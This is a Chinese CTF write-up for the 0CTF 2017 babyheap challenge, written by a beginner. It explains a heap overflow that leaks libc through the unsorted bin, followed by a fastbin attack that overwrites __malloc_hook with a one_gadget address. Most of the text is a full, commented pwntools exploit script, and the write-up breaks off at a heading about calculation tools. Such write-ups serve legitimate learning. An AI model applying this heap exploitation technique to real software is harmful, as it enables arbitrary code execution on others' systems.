2017_0ctf_babyheap

小菜鸡做的第一道堆题

保护全开,看看有些什么功能

image

申请、填充、释放、查看、退出

在填充(fill)的时候,还要求输入你要填充多少个字节,但是可以输入比申请的大的数

大体思路

首先泄漏 libc 的地址,当一个 chunk 加入到 unsorted bin 中时,chunk 的 fd 和 bk 指针会指向 main_arena。main_arena 是 libc 中的一个结构体。泄露这个地址就可以计算出真实的 libc 地址了

然后使用 fastbin_attack,分配到 malloc_hook 的区域,然后对这块内存区域修改为 one_gadget 的地址,修改 _malloc_hook 或 free_hook 等等为 one_gadget 地址,再次执行 malloc 的时候就会执行到 one_gadget

一些思路和解释在 exp 的注释中

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
p = process('./heap')
elf = ELF('./heap')
#首先是定义的一些函数,对应着程序的功能
def alloc(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
def fill(idx, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(len(content)))
    p.recvuntil("Content: ")
    p.send(content)
def free(idx):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
def dump(idx):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvline()
    return p.recvline()
def unsorted_offset_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset
#首先申请4个fast chunk和1个small chunk
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4
#free两个,这时候会放到fastbins中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)
#这个时候我们去对index0进行fill操作,他就会把index2的指针的末位改成0x80,也就指向了index4
#解释一下,前面申请了4块0x10的,加上chunk的一些信息,合起来是0x80
#所以把那个末位改成0x80就指向了index4,这样chunk4就被放到了fastbins中
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
#然后再通过index3去进行写入,把index4的大小改成0x21
#这么做是因为当申请index4这块内存的时候,他会检查大小是不是fast chunk的范围内
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
#改好index4的大小之后去申请两次,这样就把原来的fastbins中的给申请出来了
alloc(0x10)
alloc(0x10)
#申请成功之后index2就指向index4
#为了让index4能够被放到unsortedbins中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
#再申请一个防止index4与top chunk合并了
alloc(0x80)
#这时候free就会把index4放到unsorted中了
free(4)
#因为index2是指向index4的,所以直接把index2给dump一下就能拿到index4中前一部分的内容了
#main_arena与libc偏移为0x3c4b20(文末有工具算)
#再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
log.info("libc_base: "+hex(libc_base))
#此时因为fastbins中没有了,所以从unsortedbins中找
alloc(0x60)
#index2还是指向index4那个地方我们可以先释放index4
free(4)
#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd,具体看后面图片解释
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index6
#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
#再申请一下触发one_gadget
alloc(255)
p.interactive()

可以看到是有一些 0x7f 的,如果能够通过错位,使得它就是 size 位的话就能通过检查了,所以才有了 main_arena-0x40+0xd

也就是这样,这时候再去写,先写 p8(0)*3 来把前面错位的纠正过来,然后再写 p64(0)*2 来占空,这时候再写 one_gadget 就是到了 malloc_hook 的位置了

计算的工具: